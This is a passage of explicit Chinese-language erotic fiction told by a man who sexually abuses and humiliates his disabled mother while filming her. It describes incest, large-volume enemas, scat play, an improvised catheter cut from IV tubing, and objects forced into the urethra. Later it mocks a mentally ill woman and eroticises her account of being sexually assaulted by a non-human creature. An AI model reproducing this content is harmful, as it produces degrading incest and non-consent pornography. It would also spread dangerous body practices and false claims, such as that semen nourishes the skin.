我一边儿玩弄一边儿对着摄像头点评:“你们瞧瞧!这骚货都湿成什么样子了!”

妈妈低声说:“大流流你坏……”

妈妈的生殖器和屁眼完全被暴露在摄像机的镜头之下。

她的脸红耳热、她的兴奋体征、她渴望的骚屄分泌出的丝丝粘液,通通被DV记录在案。

我挤一些甘油膏到手指尖,然后用这手指去润滑妈妈的肛门。

让她深呼吸、放松、放松。

妈妈深呼吸,稍微放松了屁股眼。

我的手指往菊花下边稍稍用力,同时顶进。

妈妈的肛门立刻收缩。

我说:“深呼吸、放松、放松。”

妈妈再次深呼吸、再次放松屁眼。

我的手指在妈妈热热的肛道里缓缓抽动。

我拔出手指。

手指上干干净净的,甘油膏没了,也没有屎。

再挤一些甘油膏到手指尖,然后再用这手指去润滑妈妈的屁眼。

我我说:“深呼吸、放松、放松。”

妈妈微微喘息着。

这回比较容易进入了。

充分润滑了妈妈的肛道之后,我去厨房,看见二拐在准备晚饭。

我说:“来个松仁玉米吧。松仁和冻玉米粒儿冰箱里都有。”

二拐说:“好的。”

我抄起一瓶刚开封的1000ml的色拉油,回卧室,掩上门。

把带肛管的大便球插入色拉油瓶子里,排净里边的空气,润滑肛管,把肛管插进妈妈润滑了的屁眼,然后缓缓挤捏大便球。

200毫升色拉油灌进妈妈直肠。

肛管对后门的摩擦刺激让妈妈的前边再次变湿润。滑嫩的阴唇,美艳的肉屄,对着DV如花绽放。

妈妈的屁眼已经兴奋起来,柔软、润滑,微微张开。

我由衷赞叹说:“妈你屁股真美。肛门真可爱!”

妈妈问:“你这又是犯的什么坏?”

妈妈开始不安地扭动。

我回答说:“这是全球直播。当着他们的面拉吧,拉出来。来,把地板弄脏。没关系。”

我手持麦克风,沉着冷静对着摄像机说:“各位网友,各位enemates,欢迎继续收看网上直播节目《熟妇灌到死》。上次我们播出了啤酒灌膀胱,反响还算强烈,顺便鄙视一下看完就走的小白!今天我们一起来见证一下熟妇的另一排泄器官——肛门。”

妈妈也闹不清此中真伪。

只有我知道,那根USB接线我并没真正接上,而且我也根本没上网。

这么多小白,我何苦上传?我何苦呢我养这么多白蛆?!

我分开妈妈两条大腿,让她的屁股对正DV.妈妈忍无可忍,肛门大大张开。肠道被充分润滑,终于难为情地排出来了。

白色的圆形屎棍缓缓露头。

白粗屎慢慢往外蛇行,粗糙的表面摩擦着妈妈的屁股眼周围细嫩的肛门括约肌。

水分已被充分吸收,表面有若干大圆硬结,跟混凝在一起的一百多个怀柔板栗似的。

我说:“妈妈加油!拉出来、都拉出来!”

妈妈喘着粗气,小肚子起伏着。

白屎条继续娩出,绵绵不断,此时已达三十厘米。

这条长长的灰白色的诡异东西慢慢钻出妈妈的屁眼,像有生命似的。

白蛇钻出的时候狠狠摩擦妈妈屁眼里边那圈儿肛门括约肌,妈妈浑身轻微颤抖。

我立刻把手伸下去,捉住那条通体光滑的、灰白色的“蛇”。

我用手轻轻捧着这条怪异白屎,像捧一超级国宝。

到现在为止,这“蛇”已长达一米,直径四厘米,越往后越细,约拇指粗,带着妈妈直肠内的体温,握在手里热热的。

我小心翼翼,不想让国宝断我手里。我想看看这国宝到底能有多长。

(也许过两天送罗晰月的《鉴宝》栏目?)

我对着镜头说:“就像你们看到的,被试排出的白色内容物长达一米,最大直径超过四厘米。”

妈妈说:“别说了。你好恶心啊!”

我从容说:“对懂得女人心的男人来讲,美女的粪便从来都是最好的催情物。”

白家伙好粗啊。

妈妈粉红的屁股眼被恶狠狠扩张。我能看到翻出的肛门黏膜表皮下的血管。

一个可怕的白色恶魔诞生了,身上满是透明粘液。(刚才的色拉油加上《怡情阵》里提到的大肠油;P )

一尺。

又一尺。

妈妈还在用力。

这条苍白大蛇还在不断向外爬行。

妈妈的肛门被迫张开。被狠狠撑开、撑开。

我轻轻揉妈妈阴蒂。

妈妈呻吟着,额头沁出细碎汗珠。

妈妈屁眼抽动。

我揉着妈妈的肚子。

妈妈非常害羞,仰起头,亲我脸。

我看着前方,闪着小红灯的DV镜头。

我知道,拍是真拍,录是真录,但没真直播。

我和妈妈的心都跳得比平时快。

经过十五分钟的平稳滑行,这大条看上去半熟的、苍白的面团终于全都被排出来了。

散发着轻微的香臭。我欣赏着手里这条温乎乎的白色恶魔。

妈妈的屁股正对着镜头。

屁股圆圆的,屁眼粘着点儿白色膏状物,发黄发粘无味。

我故意不给她擦。

我谨小慎微双手托着妈妈刚拉出来的这条完整的、灰白色长蛇,走近DV,对着镜头向全世界色狼展示。

我对着DV镜头说:“这条白屎类似半干的混凝水泥。混凝水泥中只看到少许大便渣滓。大家尽可以猜一猜,一会儿我将要对这条白屎做什么?”

妈妈低声说:“你流……”

我说:“该被试大肠此刻已被清空,消化道末端已基本上彻底清洁,可用于肛交或解剖,鉴定完毕。”

其实这些都是游戏,都是为了加强妈妈的心跳和快感。

回头看,妈妈的脸已经相当红。

我把几张北京晚报展开,一张挨一张铺地板上。

然后一点一点展开这条光滑的、温乎的蛇形白色物体平放到晚报上,让它身子尽量躺直。

这条大白蛇刚刚还盘在妈妈温热的肠子里。现在被“娩”出,它的“体温”正在下降。

我用卷尺测量。

总长度:总长143厘米。

最后的六七厘米有点儿软,其中的水分尚未来得及被肠道完全吸收。

我对着镜头说:“你们看到了,被试排出了一条可以傲视群雄的白色未消化物体。下面我们进一步清理该被试的胃肠道下端。”

妈妈问:“啊 ?还清理?”

我挤出一些甘油膏,涂抹在手指上,再挤出一些甘油膏,涂抹在妈妈肛门上。

我用甘油润滑妈妈的肛门。

润滑之后,我的手指插入妈妈的直肠,把甘油均匀地涂抹在妈妈直肠内壁。

充分润滑之后,我的手指开始冒犯妈妈肿胀的阴蒂。

我动一下妈妈的阴蒂,妈妈就浑身一哆嗦。

妈妈如同一件超敏感的乐器,我一动,她就发出声音。

我的右手挖挖屄、捏捏咂儿。

左手手指轻轻按摩她粘着白色膏状物的滑腻肛门。

我不感到恶心,反而有一种很兴奋的感觉。

也怪了,我丝毫不介意手指沾上妈妈肠子里的内容物。(嫌口味重的赶紧page down!)

对我来讲,妈妈身上的、身体里的,就没有脏的。

本来不习惯,伺候年头多了,也就成了习惯。

有啥脏的?事后洗洗手不就完了么?

任何婴儿刚生下来,不都是妈妈亲手一把屎一把尿带大么?

屎尿之类的确有点儿恶心,但恶心偏偏给我和妈妈带来刺激。

这可能是特殊情况下长期贴身照顾形成的特殊条件反射。

另外一层,我时不时的就想把妈妈搞“脏”,用这dirtiness污秽肮脏凌辱她、羞辱她,让她生不如死。

得承认,我整个儿一个十恶不赦的恶鬼。

她好像也很享受这种羞辱游戏。

也许我们都该“淫死”? :Q我说:“我们现在来试探测试这块凹屄的敏感性。”

我开始轻轻揉搓妈妈的阴唇和阴蒂。

妈妈裸在那儿,不能动,被假想中的无数流氓看着。

我滑溜的手指出溜出溜地肏着妈妈的屁眼儿。

妈妈的菊花一吸一吸的。

我的手指轻松滑入,奸淫着妈妈的菊洞。

妈妈的嘴吸凉气。

高度润滑了的肛管再次插进妈妈肛门。

随着我用力挤捏红色橡胶大便球,温热的清水嗖嗖注入妈妈的直肠。

我用力地揉妈妈小肚子。

温水在软化妈妈肠管里可能粘住的剩余面块。

三千毫升的温热清水已经注入。

我还在不停地往里灌水、揉肚子,直到妈妈呼吸急促、腹股沟开始哆嗦。

妈妈紧迫地说:“快点儿快点儿我不行了!”

我知道妈妈的肠道已达耐受极限。

妈妈肚子鼓起,浑身是汗,表情十分痛苦。

什么游戏都要适可而止。

要把握好这个“度”。

大肠破裂就不好玩了。

我让妈妈坐在一个硕大的圆球状透明玻璃鱼缸上,继续用力按摩妈妈肿胀的小肚子。

妈妈开始排泄了。

我清晰观察到妈妈的排泄物。

妈妈屁眼松开,豪雨呼啸而来,肠子里的清水喷涌而出,在鱼缸里高速旋转。

旋转着的清水中只有一小团灰白色残余面块,孤零零的在汪洋洪水中挣扎,十足诺亚方舟。

妈妈浑身软绵绵的,头靠在我肩膀上,低声问:“你说二拐会不会听见啊?”

我亲着妈妈的脸蛋说:“当然会了。现在正在门口想着你光屁股的骚样打手枪呢。”

妈妈被这情境刺激着、浑身哆嗦着。下一股洪峰扑面而来。

激流直下三千克。

排干净了,我说:“抬起屁股,让大家欣赏一下带露水的大屁股。”

妈妈抬起屁股。

妈妈屁眼松弛,软软的,浅粉红,能看到深处暗红色肛肉,肛口附近沾着少许甘油膏,正在一点一点合拢。

屁股蛋子上满是喷溅的清净露水。

我并不给她擦,反而往肛门内注入300毫升润滑膏。

然后拿来妈妈专用的那条医用硅胶软棒,轻松插入,依次进入直肠、乙状结肠、大肠。

这条硅胶软棒直径3.5厘米,长80厘米,柔韧绵软,我手上稍微用了一点点力,软棒就滑入插进去50厘米。

我来回抽动软胶棒。

妈妈体验着胶棒磨擦肠道的快感,非常刺激。

我俯在妈妈耳边说:“我没锁卧室门。就是说,二拐随时可以推门进来,看到你现在的丑骚样。”

这个危如累卵的现实更加强化了对妈妈大脑的刺激。

妈妈柔声呻吟着,张着嘴,脸红红的望着我……

她一不出力、二不费心,纯这儿享受。

我粗野扒下妈妈脚上穿的袜子,闻着袜底散发出的臭哄哄的香气,尤其是脚趾和前脚掌那部分臭味最集中的地方。

这气味我很熟悉,每次闻到,都能勃起。

尽管我不太明白这条件反射背后的“搭线”机制。

我说:“嗯~~好臭的袜子!好臭的脚丫子!”

妈妈更加兴奋起来,问:“那屄屄呢?”

我一边手淫妈妈一边说:“屄屄更臭。”

妈妈兴奋难掩地“喔”一声。

我接着说:“让我闻闻!嗯!!好一块美丽的热骚屄!”

我分明感到流到我手上的粘液瞬间增多,热乎乎的。

我拿来两个夹子,分别夹在妈妈乳房上。

那两个夹子很有劲道。

妈妈的呼吸变得粗重起来,不停的在喘气。

我对着镜头说说:“同学们你们听听,这喘息声是不是活像一母狗正发情?”

妈妈的呼吸更加粗重起来。

妈妈说:“我要尿尿。”(niào suī)

妈妈膀胱满了。

我说:“小贱屄,发情小母狗,爸爸该为你导尿了。”

妈妈的身体一挺,翻成反弓型,似乎很享受这种羞辱带来的快感。

我捏着妈妈的软脸蛋,强迫她看着镜头。

屈辱裹挟心跳,让妈妈兴奋激动不已。

我拿来一段儿医用输液器胶管,捏一捏,柔韧度还不错,管径也合适,可替代导尿管。

我拿小刀60度斜切,用打火机将胶管的边缘燎一下(稍微烘烤熔化)去掉棱形,以保护妈妈的尿道粘膜。

我捏这输液胶管顺利插入妈妈的尿道。

胶管进入一个较窄的瓶颈。

我稍微用力桶。胶管通过。

胶管进入膀胱,憋了很久的热尿自动流出,滴滴嗒嗒流到我准备好的铁桶里。(铁桶在这里是故意要的,要的就是这夸张的音效)

我用力扒开妈妈的阴唇,让DV尽量清楚地拍摄。

这是珍贵资料。多年以后,拿出来放映,必有回甘。

妈妈尿差不多了,我从妈妈尿道慢慢揪出输液胶管。

胶管上沾着好多粘液。

妈妈尿道口红肿不堪。

一些淡黄色残余尿液喷出来。在充血肿胀起来的尿道内壁压迫下,尿线忽左忽右,最后呈散漫滋射。

我拿一个非典时期买的口罩捂在妈妈屄口,接她热尿。

等妈妈终于释放干净,我转过来,手里拎着尿湿的口罩,端端正正给妈妈脸上戴好。

微黄色的尿湿的口罩严严扣在妈妈口鼻上。

我用细软手纸把妈妈屁眼和屁眼周围仔细擦干净。

我把大硬鸡巴插进妈妈的骚屄,轻柔抽动,细细品味母子相奸的快感。

妈妈在口罩里面呻吟。

我把大硬鸡巴从妈妈的骚屄里拔出来,肏进妈妈暖和的直肠。

肏几十下,我再把大硬鸡巴从妈妈暖和的直肠里拔出来,肏进妈妈的骚屄。

我问妈妈:“你的尿香不香?”

妈妈点头回答说:“香……香……”

我问妈妈:“你骚不骚?”

妈妈被催眠了似的点头回答说:“骚……我骚……”

我把那尿湿的骚口罩扔到墙角,开始粗暴地肏她。

妈妈亲着我、望着我、低声问:“你不想把衣服脱了么?”

我狠心说:“冷。不想。”

其实我是不希望妈妈看到我小肚子上的“狗睾丸”着急。

电话铃响。我接听,是妈妈发小儿,陈阿姨。

我接上耳机,把耳机塞进妈妈耳朵。

妈妈跟那边儿有一搭无一搭聊着。

无非女人间内点儿鸡毛蒜皮。

我站在妈妈旁边,一边儿揉她咂儿一边儿手淫一边回想下午乳品店里那个51岁的素昧平生的老骚货,重放着她轻声呻吟:“嗯对。喔~~太痒痒了~咂儿里痒痒……咂儿……乳部……”

我想着我手上沾的那一大滩粘了乎拽的热乎乎的老骚屄的分泌物。

我想着我的左手中指在她屄洞里肆虐、右手中指在她直肠里撒野、双手狠狠手淫她前后两孔,前后夹击那老骚货……

一淡蓝色闪电从我脚底直贯后脑。

我的脊髓被这道闪电打透,发热发麻。

我一激灵,热热浓精狠狠射到妈妈脸上。

我顺着妈妈面部肌肉方向轻轻按摩,拿精液当按摩乳膏。

精液乃男人精华,比牛奶有营养,还没有任何化学添加剂。颜射加按摩能让人皮肤充满弹性,让人年轻,对此我深信不移。

我此刻全身柔软、极度放松,俩膝盖感觉跟射出的精液似的,正在液化。

但我强打精神,坚持着给妈妈“做脸”。

妈妈享受地仰着头,闭着眼睛,跟她女友煲电话粥,面部肌肉和全身筋骨通通放松,脸上隐隐透出幸福的微笑。

那是居家女人性高潮之后的特有的放松。

那是庸俗的中年主妇极度满足之后的特有表情。

终于聊完了。挂断电话。

我抱住妈妈,给妈妈掖严被角儿。

妈妈在我怀里柔声问:“你说我们是不是很败德啊?”

我说:“是。”

妈妈亲吻我的胳肢窝。

妈妈边亲边问:“那怎办啊?”

我说:“是这样子啊。第一,咱已经这样儿了,基本上目前没解。第二,咱也没害过谁,也不影响谁。就接着‘败’吧。”

妈妈说:“哦。”又恢复了失手打碎玻璃花瓶的小女孩的内种语气。

我说:“有人在高潮中死,有人在高潮里重生。”

妈妈问:“那你希望妈妈在高潮里死呢还是在高潮里活呢?”

我说:“我希望你在高潮里欲仙欲死,叫天天不让你死,叫地地不让你活。”

妈妈说:“你就坏吧。”

我用脸贴紧妈妈的脸。

俩人的脸都很热。实在很难分出谁的更烫。也许都该去高热门诊……

妈妈的脸散发着我的精液味儿。

我觉得我自己的精液味儿挺好闻。

我揪了两把妈妈的头发,意识到用力稍大,改为顺丝挠发。

妈妈呼吸均匀,不再说话。

我知道,中年妇人累了,睡着了。

我睁着眼睛,回想避邪的十字断口、老瓢的十字断裂、上午电视里那个奇怪的十字,还有那两个频闪汉字:“淫死”、“死淫”,到底啥意思?

看着天花板扪心自问:邪门是否来自邪淫?邪淫=淫邪乎?是不是我这些年淫得太猖獗了所以家里开始出怪事儿我身上也招来报应?

这时候我听见二拐在卧室外礼貌地敲门,轻声说:“大哥、阿姨,晚饭好了。”

我说:“哎。稍等。就来。”

我用Kleenex给妈妈额头擦去汗水,说:“起床起床。”

等我收好三角架、摄影灯、摄像机,妈妈并没起床穿衣服,反而继续在床上打着轻微的呼噜。

突然之间,一股78度的温馨从我心头豁然升腾,并在卧室房间弥散开来。

心底肌肉被软软触动。

我觉得我必须好好疼疼我妈妈。人生苦短啊!

她这几十年太坎坷!

尤其是,我这几天老有一种不祥的预感,我意识到我的生活中会出事儿。

我要抓紧时间好好疼妈妈。

我走出卧室,轻声告诉二拐先吃。

二拐一愣,说:“哦不,我等你们。我先下楼遛狗去吧。”

我说好啊。

我回卧室,妈妈果然还在酣睡。

我坐到床边的白色纯羊毛地毯上,隔着棉被揉着妈妈的大腿。

揉啊揉啊,揉了一百多下,终于耐不住瞌睡,合上了眼睛……

不知道谁的肚子轰隆一声!我和妈妈同时醒来。

睁开眼睛,相对一笑。

天黑黑、屋黑黑,一时搞不清几点了。

看看表,已经晚上九点多。

妈妈问:“你怎坐地毯上睡啊?”

我说:“怕打扰您睡觉。”

妈妈说:“唉哟我真睡着了。累死我了你这坏家伙。”

我帮妈妈起床、穿衣服、穿上袜子。

妈妈说:“下午那录像有多少人点击?”

我随口说:“六十多万,一百多斤精液为您狂喷。估计您还糟蹋了三万多童男子儿。”

妈妈说:“胡说!哪儿有?”

我说:“至少。”;P二拐已经遛狗回来。

我帮妈妈洗漱之后,来到餐厅,三人共进晚餐。

到晚上十一点,老K电话来了。我俩约好馆子。

放下电话,我说:“妈我出去谈事儿。”

妈妈不放心地说:“十一点了都。什么事儿啊?不能明天再说啊?”

我说您早点儿休息,就甭操心了。

妈妈嘱咐我说:“降温了。出去多穿点儿。”

我说:“哎。”

进了那家馆子。很快他也到了。

我一看,他打车来的,便笑着夸他“够乖”。

他说没看见我的车,也夸我“乖”。

我俩都是憋着喝爽来的,所以都没动车。

满上酒,拌萝卜皮和麻小儿也端上来了。

我说:“咱俩二十多年交情了。二十年啊,刷一下就没了!”

老K说:“可不?真tm快。瞧你丫这头发白得这瘆人!”

什么叫发小?就专门哪壶不开提哪壶内主儿。彼此之间比肉炖白菜还烂熟,隐私荡然全无。

我继续说我的话题:“想当年咱专ceì(卒瓦)老泡儿,记得么?”

老K说:“记得!怎不记得?一转眼,咱现在也成老丫挺的了,毛儿都白了。”

嘿!丫还没完了。

我说:“我觉得我一点儿不老啊。时光最无情。”

老K说:“时间最公平!当年咱ceì老泡儿可没ceì你这种老爷爷级别的啊。”

怎么带也带不回来了?

除了我的白头发就不能说点儿别的啦?

我俩回顾了一些经典战役,核对了战果,但怎么说都属于跟那儿驴唇对不上人嘴。

我说:“潘家岗那场架,以少胜多,咱撮了五十个人,敌人去了一百二,还叫了好多工人,记得么?”

老K说:“不对啊。我记得是咱撮了三十个人,他们拨儿去了七十个。”

我说:“咳,管他呢!反正够惨烈的,咱打趴下他们拨儿六个。”

老K说:“不对不对。是他们给咱拨儿的打趴下六个。”

是年代太久远了么?

是我俩的记忆力都衰退了么?

还是我俩沟通有障碍了?

哥儿俩走了几个,他开始说正题。(“走了几个”:白酒喝几大口或几杯,啤酒指喝干几大杯。——a8注。)

他问:“哎她到底怎么了?你丫就一直没说。”

我说:“昨儿夜里我跟她翻车了。后来我瞅她破了相,问她谁干的她不说。”(翻车=翻脸。——a8注。)

他说:“靠!所以你就怀疑我?!”

我说:“我的意思是说,如果你看上她就收了她,把她带你那儿去,爱怎么着怎么着。”

他说:“屁!我能看上她内种货?!我撑死了也就玩儿玩儿她。我还‘收了她’?你丫最近没事儿吧?”

我心里一凉。我怎么会跟这种混蛋坐一桌喝酒呢?

我尽量保持镇定地说:“其实她挺可怜的也。她从小……”

他打断我说:“她满嘴瞎话情感倒错性欲亢进人格解体加上原发性受迫害妄想丫这叫什么你应该知道啊?”

用他提醒?我当然知道。

没错,小骚货有轻度精神分裂,是一例Nymphomaniac. Nymphomania也叫女淫狂,民间亦称花痴,临床治疗难度很大。

她精神活动不太协调、有时思维零乱、破裂。

我老心存侥幸:万一我能“拉回”一个边缘魂灵,岂不胜造七级浮屠?

我说:“她说你告诉她你有一千万存款。”

老K喷出半口酒说:“我有一千万?我要有一千万我是王八蛋!我要有一千万我还整天跟孙子似的?!”

我说:“你有多少家底儿跟我没关系。”

老K说:“那天她非问我有多少钱,我说我有一百来万。”

老K谈这种话题,十次绝对有十个不同的数字。我无所谓。

我为什么要关心他有多少存款?

我说:“她嫌我一直都没告诉过她我有多少钱。”

老K说:“现在的姑娘都这么直接。你必须得适应。”

我说:“她还说你说的你要养她孩子?”

老K眼珠子差点儿掉出来:“她有孩子?!几岁了?中国版罗金顺啊?”

我抽着烟观察他。

他还在继续装傻充愣?他想玩儿我到哪站算?

或者,莫非小骚货根本就没怀?她就一无可救药的撒谎成性一乡下妞?满嘴瞎话把我们搞得乱糟糟?

他还在追问:“哎问你呢!她小孩儿几岁了?”

我再探那夜真相。

老K一会儿一个说法。每个说法都不能自圆其说。

我意识到,我已经永远不能得知那夜发生了什么。

每个人的叙述角度都不一样,每个人在每个描述瞬间的利益角度不一样。

每个人都挑对自己最有利的说。

我发现语言是最苍白的东西。

所以,小骚货那夜到底上哪儿了?对我来说,是永远无法填补的空白。

喝着喝着,他看我下腹部,坏笑着说:“瞧瞧!一个马子跑了就把你憋成这样儿了都?”

我低头看,肚脐眼下边,正中间,毛衣被一个圆圆的东西高高顶起,比早上还高了。

想起我自己身上的怪病,我还没法跟哥们儿张嘴说。

我烦坏了,抄起酒杯皱着眉头自己再走一个!

先喝爽。一切都等明儿再说!

俗话说,酒越喝越厚。

酒酣耳热,我俩勾肩搭背,在午夜无人的街头歪歪斜斜踉踉跄跄,高唱流氓歌曲,友情好像恢复到裂痕之前的默契。

真的能恢复么?

我开始说胡话了:“明儿带我去一趟。”

他问:“哪儿啊?”

我说:“周营镇七棵树村石门沟。”

他说:“我不去。我劝你也别去。咱的车都不错。走不了那破路!”

头疼。脑袋大。

跟老K告别,一个人回到公寓,见小骚货已经早回来了,光着屁股趴在床上睡觉。

我冲个shower,往床上一扔,就人事不省。

黑暗中,我听见妈妈柔声说:“来,把手给妈妈……”

我把手伸过去。妈妈握住,牵着我的手来到她热乎乎的小肚子上,另一只手撩起她的裤衩松紧带儿,这边就势往里一送。

我摸到热辣辣的一块湿屄。我纳闷:妈妈怎么有手了?

我听到妈妈对我柔声说:“摸我屄屄……”

皱摺叠叠的浪屄。

快感层层叠叠,吹皱一池春水。

我的坏手邪恶地弄着妈妈的凹屄。

妈妈激动得直喘。

妈妈高潮之后,我终日奔波苦片刻不得闲,随即乘胜追击。

妈妈梅开二度。

我为妈妈擦汗的时候,妈妈幽幽对我说:“儿子,我要走了,要离开你。”

我糊涂了,问:“您到底去哪儿?几时回来?”

妈妈向窗外飘去,一边飘一边说:“妈妈要去一个很远很远的地方。几时回来?我也不知道我会不会回来。你好好的吧。”

我试图拉住妈妈的手,可是怎么拼命也拉不住!

妈妈越飘越远,眼看就要飘出窗户了。

我必须表白!我必须说出来!

我迷迷糊糊欠起身子亲妈妈,吻她脸蛋和嘴唇,喘息着,忍不住表白:“妈妈我好爱你!”

忽然我醒来,一惊,发现我正欠起身子亲吻小骚货的脸和嘴唇。

原来刚才是一梦。这梦好温馨啊!

只听小骚货说了一声“讨厌!”随后烦躁地推开我,继续睡。

她真的没醒么?

第二天早上,我醒来后,点根儿烟抽着,静候小骚货自然苏醒。

她终于醒来。

我问:“你从博物馆出来,到底上哪儿了?”

她一脸紧张地说:“我……我鬼打墙了,我走啊走啊,绕啊绕啊,可我迷路了,死活找不到回这儿的路。”

我问:“没有出租车?”

她说:“没有。”

我问:“没有人能问路么?”

她说:“没有。”

我问:“那后来呢?”

她说:“后来我摔了一跤,就什么都不知道了。后来天快亮了,我醒过神来,才找回你这里。”

我说:“好好回想一下,你到底上哪儿了?碰见了什么人?”

她低下头,憋了很久,说:“我不想说。”

我说:“最后一次问你,你到底上哪儿了?碰见谁了?”

她低下头,想了想,说:“别逼我好么?等我想告诉你,我自然会说。”


06-01
21:妖风起兮云飞扬

我说:“最后一次问你,你到底上哪儿了?碰见谁了?”

她低下头,想了想,说:“别逼我好么?等我想告诉你,我自然会说。”

她脸上的伤口消了点儿肿,但破口、红肿、青淤还是挺明显的。

我掐了烟,用冰凉的手掐着她脖子说:“房客有危险,引火烧房了房东还不问,内房东就一傻屄。”

她目光深邃,看着我说:“你为啥这么想知道?”

我不依不饶问:“啥事儿这么难说出口?”

她说:“我真的不想说。咱说别的好不好?”

我说:“你到底是鬼打墙了还是碰上坏人了?”

她说:“今晚告诉你。”

我起身穿好外衣。她问:“你上哪儿?”

我说:“去我妈妈那儿。”

刚一进门儿,妈妈就说:“昨儿我做梦梦到你了!我梦见我又有了胳膊,还梦见我要走了。”

我问:“您梦见您要上哪儿?”

妈妈说:“谁知道?好像是个挺远的地方,可我什么都没带,衣裳、钱包都没带。你说奇怪不奇怪?”

我已经习惯了跟妈妈谈论死亡。死亡是向你驶来的黑色地铁,谁都注定要面对,只是迟早的事儿。

我说:“不奇怪啊。这说明您积德积得多,玉帝又给您发回来了。”

妈妈坦然微笑说:“瞧你说的。妈且死不了呢!”

我俯身攥住妈大软咂儿,在妈耳边说:“对,我妈死以前还且得被儿子弄呢……”

妈妈嘴角极轻微上翘,压抑着笑,低声说:“你就流吧你……”

二拐去买菜了。我拉妈妈进卧室,上床,脱光妈妈裤子、裤衩,扒开妈妈大腿和肉屄,拿纯白棉签儿沾酒精仔细清洁整个外阴。

妈妈的腰微微发福。岁月无情。(每当我看到“妈妈曼妙的三围……”

“妈妈的玉腿玉手玉脚……”之类的文字我就跳过。不知道为什么不吸引我。)

妈妈轻声问:“你干吗呀?又憋什么坏主意啊?”

我拿出一个鸡巴形状的黑色扩张器,直径三十毫米。抹上甘油充分润滑,然后塞进妈妈尿道口。

我轻轻挠妈妈阴蒂。那肉蒂很快卷上妈妈分泌的粘水儿。

妈妈在床单上缓缓扭了一下腰,作为社会化最后的痕迹。社会化要求我们知羞耻。洗脑让我们意识到“这不对”。可身体告诉我们“这特爽”。社会化和肉欲之间这组矛盾如何摆平?母性的光辉掩盖了多少妈妈的娼妓性?

一系列游戏之后,我拿出那个扩张器。妈妈的尿道松弛如一张婴儿的小嘴。

我给一个洗干净的胡萝卜戴上避孕套(最粗直径三十五毫米),塞进妈妈松软尿道。

妈妈喘着气、用力向上挺动屁股,非常不安的样子。

我亲吻妈妈的脸蛋,轻声说:“老母狗发情了?”

妈妈柔声说:“嗯!来亲我~~来亲妈妈!老骚屄发情了……”

我亲吻妈妈的热脸,同时由轻到重蹂躏妈妈肿胀的阴蒂。

妈妈在我怀里诚恳地喘着粗气,但是过了一会儿坦率地说:“不行……我到不了……”

我开始冷静地设置情境:“这天啊,一女的来到一座兵营等她老公,她老公老不来老不来,她就开始手淫。一大帮饥渴的年轻战士都站在旁边观看……”

妈妈呼着热气渐入佳境,呻吟着说:“嗯……!喔!”

这“嗯……!喔!”好像在鼓励我继续说下去。

我说:“内帮饥渴的年轻战士围上来,捻你咂儿咂儿和豆豆。”

妈妈说:“唔!他们鸡巴都大么?”

我说:“大!妈妈摸一下就知道了……班长的大长鸡巴已经肏进妈妈软屄里了。”

我像疯了似的,继续说些大胆的话。很明显,妈妈的娇嫩阴蒂在遭受一场狂风暴雨。

妈妈不知羞耻地呻吟着。

我残忍地粗暴地捻着妈妈娇嫩的阴蒂,同时在妈妈耳边低声说着流氓的“坏话”。

妈妈悲号着高潮。我只记得妈妈在潮头凶悍地摆动脑瓜。

妈妈高潮逝去,游戏结束。我从妈妈湿淋淋的尿道拿出那根胡萝卜。

哗啦哗啦。妈妈尿失禁。热热的尿水往外潮涌。拧下龙头的水管子都见过吧?

妈妈尿完之后,我仔细观察妈妈尿道。

妈妈的尿道可怜地冲我张开,相当松弛,孔洞直径有二十毫米。我能清楚看到尿道里边湿润的粉红色内壁。

我手淫妈妈的阴蒂,温柔地蹂躏妈妈尿道。

晚上,我回到我的公寓,跟她面对面。

我说:“天黑了。说吧。”

她说:“我碰上了一个……一个……可能不是人……”

我说:“可能不是人?啥叫‘可能’不是人?到底啥玩意儿?”

她说:“我真的不愿意想那件事儿。”

我说:“现在把我这儿钥匙交出来,拿衣服给我滚蛋。”

她可怜巴巴地说:“别赶我走!我没地方去!”

我说:“那天夜里,我从博物馆走了以后……”

她说:“你走了以后,我一个人在博物馆溜达,想找青蛇。走啊走啊,走累了,就靠在窗边暖气上。然后我就听见窗户外头有动静。我以为是你回来接我来了呢,就扭头往窗户外头看。这一看!~~~唉哟不行了我现在全身都发麻,我得喝口酒!”

她给自己倒一杯酒,喝了一口,又喝一口。

我盯着她。

她说:“看见窗户外头、楼底下的雪地上,有一黑乎乎的影子跳来跳去,他对着大铁栏杆跳出跳进跳出跳进,每次都能跳三、四米高,还特轻松似的。”

我知道,博物馆四周的铁栏杆差不多三米五高。

我说:“他一人大半夜在雪地上练蹦高儿?”

她说:“对。我以为是你弄了个怪棉猴逗我开心。可仔细看又不太像人。我就隔着玻璃往外看。”

我说:“快说你看见啥了。”

她说:“结果,忽然一下子!那东西也不怎么就突然窜到我跟前。我在三楼啊。他就那么贴窗户隔着玻璃在外边跟我对着。那东西差不多是人形儿,脸上黑黑的,没五官,没脖子。加上是后半夜,又没灯,又下大雪,看不太清楚。”

我承认我当时有那么点儿毛骨悚然,脸巴子后脑勺热乎乎麻扎扎的。

我强装镇定,低声问:“你没嚷嚷喊人?一楼有保安呀。”

她说:“还嚷嚷?根本发不出声儿来,想跑可俩腿动不了窝。你有没有夜里做噩梦怕到喊不出声来的时候?”

我说:“别废话,赶紧接着说,后来呢?”

她再喝口酒,说:“咱能开开灯聊这个么?”

我能感到她的身体在微微发抖。

我也有点儿瘆得慌,可我平静地说:“黑灯聊这挺好啊,多有情调。赶紧的!”

她说:“我就哆了哆嗦被定在那儿,跟那东西隔一道玻璃。”

坦率地说,每听她提“那东西”三个字,我都不寒而栗。

物换星移,物是人非,可后来每想起这三个字,我手心就麻一回。

当时我故作坦然,催问:“后来!后来!”

她又喝口酒,说:“后来,忽然我感觉我被人抱住了。我浑身一哆嗦!可我当时真的还觉得是你回来跟我开玩笑。我回头一看,我身后不是你!是另一个那东西。它抱着我!我闻到一股浓浓的腥臭气,就像大蟒紧紧箍住你、对着你张开大嘴、它嘴里喷出来的内种地底下腐尸嘴里的恶臭味儿。内种腥,就像一万条活鱼屠宰现场。”

所有语言都是假的,唯独深夜从心底滋生的恐怖才是真的!我现在难以描述我当时心底的恐慌和我当时腮帮子的酸麻。

我抄过酒瓶子,也嗞喽一口。那酒也不什么酒,味蕾反馈酸臭浓腥。靠,不爽。

我手脚发凉,追问:“后来!后来!”

她说:“后来我一下就浑身都软了!忽然我就感觉一条冰凉的东西从后边钻进我的屄屄。我也不知道那是手指头还是啥,反正上头有好多粘液,滑溜溜的。

我根本没劲儿反抗。对不起……”

我有点儿喘不上气。我催她:“后来!”

她说:“后来那湿乎乎的凉东西就插我,然后就开始狠命搞我。我吓死了。

慢慢地,我觉得好舒服……后来我还到了高潮……你别骂我……”

